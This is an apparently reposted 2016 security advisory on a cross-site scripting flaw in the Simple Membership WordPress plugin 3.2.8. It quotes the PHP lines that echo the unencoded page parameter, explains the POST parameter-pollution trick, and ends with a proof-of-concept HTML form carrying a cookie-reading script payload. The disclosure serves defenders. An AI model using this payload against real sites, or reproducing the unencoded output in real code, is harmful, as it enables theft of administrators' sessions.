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WordPress Simple Membership 3.2.8 Cross Site Scripting

WordPress Simple Membership 3.2.8 Cross Site Scripting
Posted Jul 13, 2016
Authored by Yorick Koster, Securify B.V.

WordPress Simple Membership plugin version 3.2.8 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 904442dd37fe33676dfda296b8ddc1ab

WordPress Simple Membership 3.2.8 Cross Site Scripting

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Cross-Site Scripting vulnerability in Simple Membership WordPress Plugin
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Yorick Koster, July 2016

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Abstract
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A Cross-Site Scripting vulnerability was found in the Simple Membership
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

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OVE ID
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OVE-20160712-0016

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Tested versions
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This issue was successfully tested on Simple Membership WordPress Plugin
version 3.2.8.

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Fix
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This issue is resolved in Simple Membership version 3.2.9.

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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_simple_membership_wordpress_plugin.html

The issue exists in several PHP files and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.

class.swpm-members.php:

'edit' => sprintf('<a href="admin.php?page=%s&member_action=edit&member_id=%s">Edit</a>', $_REQUEST['page'], $item['member_id']),

[...]

onclick="return confirm(\'Are you sure you want to delete this entry?\')">Delete</a>', $_REQUEST['page'], $item['member_id']),


class.swpm-membership-levels.php:

'edit' => sprintf('<a href="admin.php?page=%s&level_action=edit&id=%s">Edit</a>', $_REQUEST['page'], $item['id']),

[...]

onclick="return confirm(\'Are you sure you want to delete this entry?\')">Delete</a>', $_REQUEST['page'], $item['id']),

admin_members_list.php:

<input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?>" />


admin_all_payment_transactions.php:

<input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?>" />

Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.
Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=simple_wp_membership" method="POST">
<input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


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goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

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